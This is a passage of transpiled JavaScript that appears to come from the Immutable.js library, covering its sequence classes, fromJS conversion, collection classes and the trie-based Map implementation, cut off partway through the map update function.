type, reverse, true);\n\t\t }\n\t\t}, {of: function() {\n\t\t return $Seq(arguments);\n\t\t }}, Iterable);\n\t\tvar KeyedSeq = function KeyedSeq(value) {\n\t\t return value === null || value === undefined ? emptySequence().toKeyedSeq() : isIterable(value) ? (isKeyed(value) ? value.toSeq() : value.fromEntrySeq()) : keyedSeqFromValue(value);\n\t\t};\n\t\tvar $KeyedSeq = KeyedSeq;\n\t\t($traceurRuntime.createClass)(KeyedSeq, {\n\t\t toKeyedSeq: function() {\n\t\t return this;\n\t\t },\n\t\t toSeq: function() {\n\t\t return this;\n\t\t }\n\t\t}, {of: function() {\n\t\t return $KeyedSeq(arguments);\n\t\t }}, Seq);\n\t\tmixin(KeyedSeq, KeyedIterable.prototype);\n\t\tvar IndexedSeq = function IndexedSeq(value) {\n\t\t return value === null || value === undefined ? emptySequence() : !isIterable(value) ? indexedSeqFromValue(value) : isKeyed(value) ? value.entrySeq() : value.toIndexedSeq();\n\t\t};\n\t\tvar $IndexedSeq = IndexedSeq;\n\t\t($traceurRuntime.createClass)(IndexedSeq, {\n\t\t toIndexedSeq: function() {\n\t\t return this;\n\t\t },\n\t\t toString: function() {\n\t\t return this.__toString('Seq [', ']');\n\t\t },\n\t\t __iterate: function(fn, reverse) {\n\t\t return seqIterate(this, fn, reverse, false);\n\t\t },\n\t\t __iterator: function(type, reverse) {\n\t\t return seqIterator(this, type, reverse, false);\n\t\t }\n\t\t}, {of: function() {\n\t\t return $IndexedSeq(arguments);\n\t\t }}, Seq);\n\t\tmixin(IndexedSeq, IndexedIterable.prototype);\n\t\tvar SetSeq = function SetSeq(value) {\n\t\t return (value === null || value === undefined ? emptySequence() : !isIterable(value) ? indexedSeqFromValue(value) : isKeyed(value) ? value.entrySeq() : value).toSetSeq();\n\t\t};\n\t\tvar $SetSeq = SetSeq;\n\t\t($traceurRuntime.createClass)(SetSeq, {toSetSeq: function() {\n\t\t return this;\n\t\t }}, {of: function() {\n\t\t return $SetSeq(arguments);\n\t\t }}, Seq);\n\t\tmixin(SetSeq, SetIterable.prototype);\n\t\tSeq.isSeq = isSeq;\n\t\tSeq.Keyed = KeyedSeq;\n\t\tSeq.Set = SetSeq;\n\t\tSeq.Indexed = IndexedSeq;\n\t\tvar IS_SEQ_SENTINEL = '@@__IMMUTABLE_SEQ__@@';\n\t\tSeq.prototype[IS_SEQ_SENTINEL] = true;\n\t\tvar ArraySeq = function ArraySeq(array) {\n\t\t this._array = array;\n\t\t this.size = array.length;\n\t\t};\n\t\t($traceurRuntime.createClass)(ArraySeq, {\n\t\t get: function(index, notSetValue) {\n\t\t return this.has(index) ? this._array[wrapIndex(this, index)] : notSetValue;\n\t\t },\n\t\t __iterate: function(fn, reverse) {\n\t\t var array = this._array;\n\t\t var maxIndex = array.length - 1;\n\t\t for (var ii = 0; ii <= maxIndex; ii++) {\n\t\t if (fn(array[reverse ? maxIndex - ii : ii], ii, this) === false) {\n\t\t return ii + 1;\n\t\t }\n\t\t }\n\t\t return ii;\n\t\t },\n\t\t __iterator: function(type, reverse) {\n\t\t var array = this._array;\n\t\t var maxIndex = array.length - 1;\n\t\t var ii = 0;\n\t\t return new Iterator((function() {\n\t\t return ii > maxIndex ? iteratorDone() : iteratorValue(type, ii, array[reverse ? maxIndex - ii++ : ii++]);\n\t\t }));\n\t\t }\n\t\t}, {}, IndexedSeq);\n\t\tvar ObjectSeq = function ObjectSeq(object) {\n\t\t var keys = Object.keys(object);\n\t\t this._object = object;\n\t\t this._keys = keys;\n\t\t this.size = keys.length;\n\t\t};\n\t\t($traceurRuntime.createClass)(ObjectSeq, {\n\t\t get: function(key, notSetValue) {\n\t\t if (notSetValue !== undefined && !this.has(key)) {\n\t\t return notSetValue;\n\t\t }\n\t\t return this._object[key];\n\t\t },\n\t\t has: function(key) {\n\t\t return this._object.hasOwnProperty(key);\n\t\t },\n\t\t __iterate: function(fn, reverse) {\n\t\t var object = this._object;\n\t\t var keys = this._keys;\n\t\t var maxIndex = keys.length - 1;\n\t\t for (var ii = 0; ii <= maxIndex; ii++) {\n\t\t var key = keys[reverse ? maxIndex - ii : ii];\n\t\t if (fn(object[key], key, this) === false) {\n\t\t return ii + 1;\n\t\t }\n\t\t }\n\t\t return ii;\n\t\t },\n\t\t __iterator: function(type, reverse) {\n\t\t var object = this._object;\n\t\t var keys = this._keys;\n\t\t var maxIndex = keys.length - 1;\n\t\t var ii = 0;\n\t\t return new Iterator((function() {\n\t\t var key = keys[reverse ? maxIndex - ii : ii];\n\t\t return ii++ > maxIndex ? iteratorDone() : iteratorValue(type, key, object[key]);\n\t\t }));\n\t\t }\n\t\t}, {}, KeyedSeq);\n\t\tObjectSeq.prototype[IS_ORDERED_SENTINEL] = true;\n\t\tvar IterableSeq = function IterableSeq(iterable) {\n\t\t this._iterable = iterable;\n\t\t this.size = iterable.length || iterable.size;\n\t\t};\n\t\t($traceurRuntime.createClass)(IterableSeq, {\n\t\t __iterateUncached: function(fn, reverse) {\n\t\t if (reverse) {\n\t\t return this.cacheResult().__iterate(fn, reverse);\n\t\t }\n\t\t var iterable = this._iterable;\n\t\t var iterator = getIterator(iterable);\n\t\t var iterations = 0;\n\t\t if (isIterator(iterator)) {\n\t\t var step;\n\t\t while (!(step = iterator.next()).done) {\n\t\t if (fn(step.value, iterations++, this) === false) {\n\t\t break;\n\t\t }\n\t\t }\n\t\t }\n\t\t return iterations;\n\t\t },\n\t\t __iteratorUncached: function(type, reverse) {\n\t\t if (reverse) {\n\t\t return this.cacheResult().__iterator(type, reverse);\n\t\t }\n\t\t var iterable = this._iterable;\n\t\t var iterator = getIterator(iterable);\n\t\t if (!isIterator(iterator)) {\n\t\t return new Iterator(iteratorDone);\n\t\t }\n\t\t var iterations = 0;\n\t\t return new Iterator((function() {\n\t\t var step = iterator.next();\n\t\t return step.done ? step : iteratorValue(type, iterations++, step.value);\n\t\t }));\n\t\t }\n\t\t}, {}, IndexedSeq);\n\t\tvar IteratorSeq = function IteratorSeq(iterator) {\n\t\t this._iterator = iterator;\n\t\t this._iteratorCache = [];\n\t\t};\n\t\t($traceurRuntime.createClass)(IteratorSeq, {\n\t\t __iterateUncached: function(fn, reverse) {\n\t\t if (reverse) {\n\t\t return this.cacheResult().__iterate(fn, reverse);\n\t\t }\n\t\t var iterator = this._iterator;\n\t\t var cache = this._iteratorCache;\n\t\t var iterations = 0;\n\t\t while (iterations < cache.length) {\n\t\t if (fn(cache[iterations], iterations++, this) === false) {\n\t\t return iterations;\n\t\t }\n\t\t }\n\t\t var step;\n\t\t while (!(step = iterator.next()).done) {\n\t\t var val = step.value;\n\t\t cache[iterations] = val;\n\t\t if (fn(val, iterations++, this) === false) {\n\t\t break;\n\t\t }\n\t\t }\n\t\t return iterations;\n\t\t },\n\t\t __iteratorUncached: function(type, reverse) {\n\t\t if (reverse) {\n\t\t return this.cacheResult().__iterator(type, reverse);\n\t\t }\n\t\t var iterator = this._iterator;\n\t\t var cache = this._iteratorCache;\n\t\t var iterations = 0;\n\t\t return new Iterator((function() {\n\t\t if (iterations >= cache.length) {\n\t\t var step = iterator.next();\n\t\t if (step.done) {\n\t\t return step;\n\t\t }\n\t\t cache[iterations] = step.value;\n\t\t }\n\t\t return iteratorValue(type, iterations, cache[iterations++]);\n\t\t }));\n\t\t }\n\t\t}, {}, IndexedSeq);\n\t\tfunction isSeq(maybeSeq) {\n\t\t return !!(maybeSeq && maybeSeq[IS_SEQ_SENTINEL]);\n\t\t}\n\t\tvar EMPTY_SEQ;\n\t\tfunction emptySequence() {\n\t\t return EMPTY_SEQ || (EMPTY_SEQ = new ArraySeq([]));\n\t\t}\n\t\tfunction keyedSeqFromValue(value) {\n\t\t var seq = Array.isArray(value) ? new ArraySeq(value).fromEntrySeq() : isIterator(value) ? new IteratorSeq(value).fromEntrySeq() : hasIterator(value) ? new IterableSeq(value).fromEntrySeq() : typeof value === 'object' ? new ObjectSeq(value) : undefined;\n\t\t if (!seq) {\n\t\t throw new TypeError('Expected Array or iterable object of [k, v] entries, ' + 'or keyed object: ' + value);\n\t\t }\n\t\t return seq;\n\t\t}\n\t\tfunction indexedSeqFromValue(value) {\n\t\t var seq = maybeIndexedSeqFromValue(value);\n\t\t if (!seq) {\n\t\t throw new TypeError('Expected Array or iterable object of values: ' + value);\n\t\t }\n\t\t return seq;\n\t\t}\n\t\tfunction seqFromValue(value) {\n\t\t var seq = maybeIndexedSeqFromValue(value) || (typeof value === 'object' && new ObjectSeq(value));\n\t\t if (!seq) {\n\t\t throw new TypeError('Expected Array or iterable object of values, or keyed object: ' + value);\n\t\t }\n\t\t return seq;\n\t\t}\n\t\tfunction maybeIndexedSeqFromValue(value) {\n\t\t return (isArrayLike(value) ? new ArraySeq(value) : isIterator(value) ? new IteratorSeq(value) : hasIterator(value) ? new IterableSeq(value) : undefined);\n\t\t}\n\t\tfunction isArrayLike(value) {\n\t\t return value && typeof value.length === 'number';\n\t\t}\n\t\tfunction seqIterate(seq, fn, reverse, useKeys) {\n\t\t var cache = seq._cache;\n\t\t if (cache) {\n\t\t var maxIndex = cache.length - 1;\n\t\t for (var ii = 0; ii <= maxIndex; ii++) {\n\t\t var entry = cache[reverse ? maxIndex - ii : ii];\n\t\t if (fn(entry[1], useKeys ? entry[0] : ii, seq) === false) {\n\t\t return ii + 1;\n\t\t }\n\t\t }\n\t\t return ii;\n\t\t }\n\t\t return seq.__iterateUncached(fn, reverse);\n\t\t}\n\t\tfunction seqIterator(seq, type, reverse, useKeys) {\n\t\t var cache = seq._cache;\n\t\t if (cache) {\n\t\t var maxIndex = cache.length - 1;\n\t\t var ii = 0;\n\t\t return new Iterator((function() {\n\t\t var entry = cache[reverse ? maxIndex - ii : ii];\n\t\t return ii++ > maxIndex ? iteratorDone() : iteratorValue(type, useKeys ? entry[0] : ii - 1, entry[1]);\n\t\t }));\n\t\t }\n\t\t return seq.__iteratorUncached(type, reverse);\n\t\t}\n\t\tfunction fromJS(json, converter) {\n\t\t return converter ? _fromJSWith(converter, json, '', {'': json}) : _fromJSDefault(json);\n\t\t}\n\t\tfunction _fromJSWith(converter, json, key, parentJSON) {\n\t\t if (Array.isArray(json)) {\n\t\t return converter.call(parentJSON, key, IndexedSeq(json).map((function(v, k) {\n\t\t return _fromJSWith(converter, v, k, json);\n\t\t })));\n\t\t }\n\t\t if (isPlainObj(json)) {\n\t\t return converter.call(parentJSON, key, KeyedSeq(json).map((function(v, k) {\n\t\t return _fromJSWith(converter, v, k, json);\n\t\t })));\n\t\t }\n\t\t return json;\n\t\t}\n\t\tfunction _fromJSDefault(json) {\n\t\t if (Array.isArray(json)) {\n\t\t return IndexedSeq(json).map(_fromJSDefault).toList();\n\t\t }\n\t\t if (isPlainObj(json)) {\n\t\t return KeyedSeq(json).map(_fromJSDefault).toMap();\n\t\t }\n\t\t return json;\n\t\t}\n\t\tfunction isPlainObj(value) {\n\t\t return value && value.constructor === Object;\n\t\t}\n\t\tvar Collection = function Collection() {\n\t\t throw TypeError('Abstract');\n\t\t};\n\t\t($traceurRuntime.createClass)(Collection, {}, {}, Iterable);\n\t\tvar KeyedCollection = function KeyedCollection() {\n\t\t $traceurRuntime.defaultSuperCall(this, $KeyedCollection.prototype, arguments);\n\t\t};\n\t\tvar $KeyedCollection = KeyedCollection;\n\t\t($traceurRuntime.createClass)(KeyedCollection, {}, {}, Collection);\n\t\tmixin(KeyedCollection, KeyedIterable.prototype);\n\t\tvar IndexedCollection = function IndexedCollection() {\n\t\t $traceurRuntime.defaultSuperCall(this, $IndexedCollection.prototype, arguments);\n\t\t};\n\t\tvar $IndexedCollection = IndexedCollection;\n\t\t($traceurRuntime.createClass)(IndexedCollection, {}, {}, Collection);\n\t\tmixin(IndexedCollection, IndexedIterable.prototype);\n\t\tvar SetCollection = function SetCollection() {\n\t\t $traceurRuntime.defaultSuperCall(this, $SetCollection.prototype, arguments);\n\t\t};\n\t\tvar $SetCollection = SetCollection;\n\t\t($traceurRuntime.createClass)(SetCollection, {}, {}, Collection);\n\t\tmixin(SetCollection, SetIterable.prototype);\n\t\tCollection.Keyed = KeyedCollection;\n\t\tCollection.Indexed = IndexedCollection;\n\t\tCollection.Set = SetCollection;\n\t\tvar Map = function Map(value) {\n\t\t return value === null || value === undefined ? emptyMap() : isMap(value) ? value : emptyMap().withMutations((function(map) {\n\t\t var iter = KeyedIterable(value);\n\t\t assertNotInfinite(iter.size);\n\t\t iter.forEach((function(v, k) {\n\t\t return map.set(k, v);\n\t\t }));\n\t\t }));\n\t\t};\n\t\t($traceurRuntime.createClass)(Map, {\n\t\t toString: function() {\n\t\t return this.__toString('Map {', '}');\n\t\t },\n\t\t get: function(k, notSetValue) {\n\t\t return this._root ? this._root.get(0, undefined, k, notSetValue) : notSetValue;\n\t\t },\n\t\t set: function(k, v) {\n\t\t return updateMap(this, k, v);\n\t\t },\n\t\t setIn: function(keyPath, v) {\n\t\t return this.updateIn(keyPath, NOT_SET, (function() {\n\t\t return v;\n\t\t }));\n\t\t },\n\t\t remove: function(k) {\n\t\t return updateMap(this, k, NOT_SET);\n\t\t },\n\t\t deleteIn: function(keyPath) {\n\t\t return this.updateIn(keyPath, (function() {\n\t\t return NOT_SET;\n\t\t }));\n\t\t },\n\t\t update: function(k, notSetValue, updater) {\n\t\t return arguments.length === 1 ? k(this) : this.updateIn([k], notSetValue, updater);\n\t\t },\n\t\t updateIn: function(keyPath, notSetValue, updater) {\n\t\t if (!updater) {\n\t\t updater = notSetValue;\n\t\t notSetValue = undefined;\n\t\t }\n\t\t var updatedValue = updateInDeepMap(this, getIterator(keyPath) || getIterator(Iterable(keyPath)), notSetValue, updater);\n\t\t return updatedValue === NOT_SET ? undefined : updatedValue;\n\t\t },\n\t\t clear: function() {\n\t\t if (this.size === 0) {\n\t\t return this;\n\t\t }\n\t\t if (this.__ownerID) {\n\t\t this.size = 0;\n\t\t this._root = null;\n\t\t this.__hash = undefined;\n\t\t this.__altered = true;\n\t\t return this;\n\t\t }\n\t\t return emptyMap();\n\t\t },\n\t\t merge: function() {\n\t\t return mergeIntoMapWith(this, undefined, arguments);\n\t\t },\n\t\t mergeWith: function(merger) {\n\t\t for (var iters = [],\n\t\t $__3 = 1; $__3 < arguments.length; $__3++)\n\t\t iters[$__3 - 1] = arguments[$__3];\n\t\t return mergeIntoMapWith(this, merger, iters);\n\t\t },\n\t\t mergeIn: function(keyPath) {\n\t\t for (var iters = [],\n\t\t $__4 = 1; $__4 < arguments.length; $__4++)\n\t\t iters[$__4 - 1] = arguments[$__4];\n\t\t return this.updateIn(keyPath, emptyMap(), (function(m) {\n\t\t return m.merge.apply(m, iters);\n\t\t }));\n\t\t },\n\t\t mergeDeep: function() {\n\t\t return mergeIntoMapWith(this, deepMerger(undefined), arguments);\n\t\t },\n\t\t mergeDeepWith: function(merger) {\n\t\t for (var iters = [],\n\t\t $__5 = 1; $__5 < arguments.length; $__5++)\n\t\t iters[$__5 - 1] = arguments[$__5];\n\t\t return mergeIntoMapWith(this, deepMerger(merger), iters);\n\t\t },\n\t\t mergeDeepIn: function(keyPath) {\n\t\t for (var iters = [],\n\t\t $__6 = 1; $__6 < arguments.length; $__6++)\n\t\t iters[$__6 - 1] = arguments[$__6];\n\t\t return this.updateIn(keyPath, emptyMap(), (function(m) {\n\t\t return m.mergeDeep.apply(m, iters);\n\t\t }));\n\t\t },\n\t\t sort: function(comparator) {\n\t\t return OrderedMap(sortFactory(this, comparator));\n\t\t },\n\t\t sortBy: function(mapper, comparator) {\n\t\t return OrderedMap(sortFactory(this, comparator, mapper));\n\t\t },\n\t\t withMutations: function(fn) {\n\t\t var mutable = this.asMutable();\n\t\t fn(mutable);\n\t\t return mutable.wasAltered() ? mutable.__ensureOwner(this.__ownerID) : this;\n\t\t },\n\t\t asMutable: function() {\n\t\t return this.__ownerID ? this : this.__ensureOwner(new OwnerID());\n\t\t },\n\t\t asImmutable: function() {\n\t\t return this.__ensureOwner();\n\t\t },\n\t\t wasAltered: function() {\n\t\t return this.__altered;\n\t\t },\n\t\t __iterator: function(type, reverse) {\n\t\t return new MapIterator(this, type, reverse);\n\t\t },\n\t\t __iterate: function(fn, reverse) {\n\t\t var $__0 = this;\n\t\t var iterations = 0;\n\t\t this._root && this._root.iterate((function(entry) {\n\t\t iterations++;\n\t\t return fn(entry[1], entry[0], $__0);\n\t\t }), reverse);\n\t\t return iterations;\n\t\t },\n\t\t __ensureOwner: function(ownerID) {\n\t\t if (ownerID === this.__ownerID) {\n\t\t return this;\n\t\t }\n\t\t if (!ownerID) {\n\t\t this.__ownerID = ownerID;\n\t\t this.__altered = false;\n\t\t return this;\n\t\t }\n\t\t return makeMap(this.size, this._root, ownerID, this.__hash);\n\t\t }\n\t\t}, {}, KeyedCollection);\n\t\tfunction isMap(maybeMap) {\n\t\t return !!(maybeMap && maybeMap[IS_MAP_SENTINEL]);\n\t\t}\n\t\tMap.isMap = isMap;\n\t\tvar IS_MAP_SENTINEL = '@@__IMMUTABLE_MAP__@@';\n\t\tvar MapPrototype = Map.prototype;\n\t\tMapPrototype[IS_MAP_SENTINEL] = true;\n\t\tMapPrototype[DELETE] = MapPrototype.remove;\n\t\tMapPrototype.removeIn = MapPrototype.deleteIn;\n\t\tvar ArrayMapNode = function ArrayMapNode(ownerID, entries) {\n\t\t this.ownerID = ownerID;\n\t\t this.entries = entries;\n\t\t};\n\t\tvar $ArrayMapNode = ArrayMapNode;\n\t\t($traceurRuntime.createClass)(ArrayMapNode, {\n\t\t get: function(shift, keyHash, key, notSetValue) {\n\t\t var entries = this.entries;\n\t\t for (var ii = 0,\n\t\t len = entries.length; ii < len; ii++) {\n\t\t if (is(key, entries[ii][0])) {\n\t\t return entries[ii][1];\n\t\t }\n\t\t }\n\t\t return notSetValue;\n\t\t },\n\t\t update: function(ownerID, shift, keyHash, key, value, didChangeSize, didAlter) {\n\t\t var removed = value === NOT_SET;\n\t\t var entries = this.entries;\n\t\t var idx = 0;\n\t\t for (var len = entries.length; idx < len; idx++) {\n\t\t if (is(key, entries[idx][0])) {\n\t\t break;\n\t\t }\n\t\t }\n\t\t var exists = idx < len;\n\t\t if (exists ? entries[idx][1] === value : removed) {\n\t\t return this;\n\t\t }\n\t\t SetRef(didAlter);\n\t\t (removed || !exists) && SetRef(didChangeSize);\n\t\t if (removed && entries.length === 1) {\n\t\t return;\n\t\t }\n\t\t if (!exists && !removed && entries.length >= MAX_ARRAY_MAP_SIZE) {\n\t\t return createNodes(ownerID, entries, key, value);\n\t\t }\n\t\t var isEditable = ownerID && ownerID === this.ownerID;\n\t\t var newEntries = isEditable ? entries : arrCopy(entries);\n\t\t if (exists) {\n\t\t if (removed) {\n\t\t idx === len - 1 ? newEntries.pop() : (newEntries[idx] = newEntries.pop());\n\t\t } else {\n\t\t newEntries[idx] = [key, value];\n\t\t }\n\t\t } else {\n\t\t newEntries.push([key, value]);\n\t\t }\n\t\t if (isEditable) {\n\t\t this.entries = newEntries;\n\t\t return this;\n\t\t }\n\t\t return new $ArrayMapNode(ownerID, newEntries);\n\t\t }\n\t\t}, {});\n\t\tvar BitmapIndexedNode = function BitmapIndexedNode(ownerID, bitmap, nodes) {\n\t\t this.ownerID = ownerID;\n\t\t this.bitmap = bitmap;\n\t\t this.nodes = nodes;\n\t\t};\n\t\tvar $BitmapIndexedNode = BitmapIndexedNode;\n\t\t($traceurRuntime.createClass)(BitmapIndexedNode, {\n\t\t get: function(shift, keyHash, key, notSetValue) {\n\t\t if (keyHash === undefined) {\n\t\t keyHash = hash(key);\n\t\t }\n\t\t var bit = (1 << ((shift === 0 ? keyHash : keyHash >>> shift) & MASK));\n\t\t var bitmap = this.bitmap;\n\t\t return (bitmap & bit) === 0 ? notSetValue : this.nodes[popCount(bitmap & (bit - 1))].get(shift + SHIFT, keyHash, key, notSetValue);\n\t\t },\n\t\t update: function(ownerID, shift, keyHash, key, value, didChangeSize, didAlter) {\n\t\t if (keyHash === undefined) {\n\t\t keyHash = hash(key);\n\t\t }\n\t\t var keyHashFrag = (shift === 0 ? keyHash : keyHash >>> shift) & MASK;\n\t\t var bit = 1 << keyHashFrag;\n\t\t var bitmap = this.bitmap;\n\t\t var exists = (bitmap & bit) !== 0;\n\t\t if (!exists && value === NOT_SET) {\n\t\t return this;\n\t\t }\n\t\t var idx = popCount(bitmap & (bit - 1));\n\t\t var nodes = this.nodes;\n\t\t var node = exists ? nodes[idx] : undefined;\n\t\t var newNode = updateNode(node, ownerID, shift + SHIFT, keyHash, key, value, didChangeSize, didAlter);\n\t\t if (newNode === node) {\n\t\t return this;\n\t\t }\n\t\t if (!exists && newNode && nodes.length >= MAX_BITMAP_INDEXED_SIZE) {\n\t\t return expandNodes(ownerID, nodes, bitmap, keyHashFrag, newNode);\n\t\t }\n\t\t if (exists && !newNode && nodes.length === 2 && isLeafNode(nodes[idx ^ 1])) {\n\t\t return nodes[idx ^ 1];\n\t\t }\n\t\t if (exists && newNode && nodes.length === 1 && isLeafNode(newNode)) {\n\t\t return newNode;\n\t\t }\n\t\t var isEditable = ownerID && ownerID === this.ownerID;\n\t\t var newBitmap = exists ? newNode ? bitmap : bitmap ^ bit : bitmap | bit;\n\t\t var newNodes = exists ? newNode ? setIn(nodes, idx, newNode, isEditable) : spliceOut(nodes, idx, isEditable) : spliceIn(nodes, idx, newNode, isEditable);\n\t\t if (isEditable) {\n\t\t this.bitmap = newBitmap;\n\t\t this.nodes = newNodes;\n\t\t return this;\n\t\t }\n\t\t return new $BitmapIndexedNode(ownerID, newBitmap, newNodes);\n\t\t }\n\t\t}, {});\n\t\tvar HashArrayMapNode = function HashArrayMapNode(ownerID, count, nodes) {\n\t\t this.ownerID = ownerID;\n\t\t this.count = count;\n\t\t this.nodes = nodes;\n\t\t};\n\t\tvar $HashArrayMapNode = HashArrayMapNode;\n\t\t($traceurRuntime.createClass)(HashArrayMapNode, {\n\t\t get: function(shift, keyHash, key, notSetValue) {\n\t\t if (keyHash === undefined) {\n\t\t keyHash = hash(key);\n\t\t }\n\t\t var idx = (shift === 0 ? keyHash : keyHash >>> shift) & MASK;\n\t\t var node = this.nodes[idx];\n\t\t return node ? node.get(shift + SHIFT, keyHash, key, notSetValue) : notSetValue;\n\t\t },\n\t\t update: function(ownerID, shift, keyHash, key, value, didChangeSize, didAlter) {\n\t\t if (keyHash === undefined) {\n\t\t keyHash = hash(key);\n\t\t }\n\t\t var idx = (shift === 0 ? keyHash : keyHash >>> shift) & MASK;\n\t\t var removed = value === NOT_SET;\n\t\t var nodes = this.nodes;\n\t\t var node = nodes[idx];\n\t\t if (removed && !node) {\n\t\t return this;\n\t\t }\n\t\t var newNode = updateNode(node, ownerID, shift + SHIFT, keyHash, key, value, didChangeSize, didAlter);\n\t\t if (newNode === node) {\n\t\t return this;\n\t\t }\n\t\t var newCount = this.count;\n\t\t if (!node) {\n\t\t newCount++;\n\t\t } else if (!newNode) {\n\t\t newCount--;\n\t\t if (newCount < MIN_HASH_ARRAY_MAP_SIZE) {\n\t\t return packNodes(ownerID, nodes, newCount, idx);\n\t\t }\n\t\t }\n\t\t var isEditable = ownerID && ownerID === this.ownerID;\n\t\t var newNodes = setIn(nodes, idx, newNode, isEditable);\n\t\t if (isEditable) {\n\t\t this.count = newCount;\n\t\t this.nodes = newNodes;\n\t\t return this;\n\t\t }\n\t\t return new $HashArrayMapNode(ownerID, newCount, newNodes);\n\t\t }\n\t\t}, {});\n\t\tvar HashCollisionNode = function HashCollisionNode(ownerID, keyHash, entries) {\n\t\t this.ownerID = ownerID;\n\t\t this.keyHash = keyHash;\n\t\t this.entries = entries;\n\t\t};\n\t\tvar $HashCollisionNode = HashCollisionNode;\n\t\t($traceurRuntime.createClass)(HashCollisionNode, {\n\t\t get: function(shift, keyHash, key, notSetValue) {\n\t\t var entries = this.entries;\n\t\t for (var ii = 0,\n\t\t len = entries.length; ii < len; ii++) {\n\t\t if (is(key, entries[ii][0])) {\n\t\t return entries[ii][1];\n\t\t }\n\t\t }\n\t\t return notSetValue;\n\t\t },\n\t\t update: function(ownerID, shift, keyHash, key, value, didChangeSize, didAlter) {\n\t\t if (keyHash === undefined) {\n\t\t keyHash = hash(key);\n\t\t }\n\t\t var removed = value === NOT_SET;\n\t\t if (keyHash !== this.keyHash) {\n\t\t if (removed) {\n\t\t return this;\n\t\t }\n\t\t SetRef(didAlter);\n\t\t SetRef(didChangeSize);\n\t\t return mergeIntoNode(this, ownerID, shift, keyHash, [key, value]);\n\t\t }\n\t\t var entries = this.entries;\n\t\t var idx = 0;\n\t\t for (var len = entries.length; idx < len; idx++) {\n\t\t if (is(key, entries[idx][0])) {\n\t\t break;\n\t\t }\n\t\t }\n\t\t var exists = idx < len;\n\t\t if (exists ? entries[idx][1] === value : removed) {\n\t\t return this;\n\t\t }\n\t\t SetRef(didAlter);\n\t\t (removed || !exists) && SetRef(didChangeSize);\n\t\t if (removed && len === 2) {\n\t\t return new ValueNode(ownerID, this.keyHash, entries[idx ^ 1]);\n\t\t }\n\t\t var isEditable = ownerID && ownerID === this.ownerID;\n\t\t var newEntries = isEditable ? entries : arrCopy(entries);\n\t\t if (exists) {\n\t\t if (removed) {\n\t\t idx === len - 1 ? newEntries.pop() : (newEntries[idx] = newEntries.pop());\n\t\t } else {\n\t\t newEntries[idx] = [key, value];\n\t\t }\n\t\t } else {\n\t\t newEntries.push([key, value]);\n\t\t }\n\t\t if (isEditable) {\n\t\t this.entries = newEntries;\n\t\t return this;\n\t\t }\n\t\t return new $HashCollisionNode(ownerID, this.keyHash, newEntries);\n\t\t }\n\t\t}, {});\n\t\tvar ValueNode = function ValueNode(ownerID, keyHash, entry) {\n\t\t this.ownerID = ownerID;\n\t\t this.keyHash = keyHash;\n\t\t this.entry = entry;\n\t\t};\n\t\tvar $ValueNode = ValueNode;\n\t\t($traceurRuntime.createClass)(ValueNode, {\n\t\t get: function(shift, keyHash, key, notSetValue) {\n\t\t return is(key, this.entry[0]) ? this.entry[1] : notSetValue;\n\t\t },\n\t\t update: function(ownerID, shift, keyHash, key, value, didChangeSize, didAlter) {\n\t\t var removed = value === NOT_SET;\n\t\t var keyMatch = is(key, this.entry[0]);\n\t\t if (keyMatch ? value === this.entry[1] : removed) {\n\t\t return this;\n\t\t }\n\t\t SetRef(didAlter);\n\t\t if (removed) {\n\t\t SetRef(didChangeSize);\n\t\t return;\n\t\t }\n\t\t if (keyMatch) {\n\t\t if (ownerID && ownerID === this.ownerID) {\n\t\t this.entry[1] = value;\n\t\t return this;\n\t\t }\n\t\t return new $ValueNode(ownerID, this.keyHash, [key, value]);\n\t\t }\n\t\t SetRef(didChangeSize);\n\t\t return mergeIntoNode(this, ownerID, shift, hash(key), [key, value]);\n\t\t }\n\t\t}, {});\n\t\tArrayMapNode.prototype.iterate = HashCollisionNode.prototype.iterate = function(fn, reverse) {\n\t\t var entries = this.entries;\n\t\t for (var ii = 0,\n\t\t maxIndex = entries.length - 1; ii <= maxIndex; ii++) {\n\t\t if (fn(entries[reverse ? maxIndex - ii : ii]) === false) {\n\t\t return false;\n\t\t }\n\t\t }\n\t\t};\n\t\tBitmapIndexedNode.prototype.iterate = HashArrayMapNode.prototype.iterate = function(fn, reverse) {\n\t\t var nodes = this.nodes;\n\t\t for (var ii = 0,\n\t\t maxIndex = nodes.length - 1; ii <= maxIndex; ii++) {\n\t\t var node = nodes[reverse ? maxIndex - ii : ii];\n\t\t if (node && node.iterate(fn, reverse) === false) {\n\t\t return false;\n\t\t }\n\t\t }\n\t\t};\n\t\tValueNode.prototype.iterate = function(fn, reverse) {\n\t\t return fn(this.entry);\n\t\t};\n\t\tvar MapIterator = function MapIterator(map, type, reverse) {\n\t\t this._type = type;\n\t\t this._reverse = reverse;\n\t\t this._stack = map._root && mapIteratorFrame(map._root);\n\t\t};\n\t\t($traceurRuntime.createClass)(MapIterator, {next: function() {\n\t\t var type = this._type;\n\t\t var stack = this._stack;\n\t\t while (stack) {\n\t\t var node = stack.node;\n\t\t var index = stack.index++;\n\t\t var maxIndex;\n\t\t if (node.entry) {\n\t\t if (index === 0) {\n\t\t return mapIteratorValue(type, node.entry);\n\t\t }\n\t\t } else if (node.entries) {\n\t\t maxIndex = node.entries.length - 1;\n\t\t if (index <= maxIndex) {\n\t\t return mapIteratorValue(type, node.entries[this._reverse ? maxIndex - index : index]);\n\t\t }\n\t\t } else {\n\t\t maxIndex = node.nodes.length - 1;\n\t\t if (index <= maxIndex) {\n\t\t var subNode = node.nodes[this._reverse ? maxIndex - index : index];\n\t\t if (subNode) {\n\t\t if (subNode.entry) {\n\t\t return mapIteratorValue(type, subNode.entry);\n\t\t }\n\t\t stack = this._stack = mapIteratorFrame(subNode, stack);\n\t\t }\n\t\t continue;\n\t\t }\n\t\t }\n\t\t stack = this._stack = this._stack.__prev;\n\t\t }\n\t\t return iteratorDone();\n\t\t }}, {}, Iterator);\n\t\tfunction mapIteratorValue(type, entry) {\n\t\t return iteratorValue(type, entry[0], entry[1]);\n\t\t}\n\t\tfunction mapIteratorFrame(node, prev) {\n\t\t return {\n\t\t node: node,\n\t\t index: 0,\n\t\t __prev: prev\n\t\t };\n\t\t}\n\t\tfunction makeMap(size, root, ownerID, hash) {\n\t\t var map = Object.create(MapPrototype);\n\t\t map.size = size;\n\t\t map._root = root;\n\t\t map.__ownerID = ownerID;\n\t\t map.__hash = hash;\n\t\t map.__altered = false;\n\t\t return map;\n\t\t}\n\t\tvar EMPTY_MAP;\n\t\tfunction emptyMap() {\n\t\t return EMPTY_MAP || (EMPTY_MAP = makeMap(0));\n\t\t}\n\t\tfunction updateMap(map, k, v) {\n\t\t var newRoot;\n\t\t var newSize;\n\t\t if (!map._root) {\n\t\t if (v === NOT_SET) {\n\t\t return 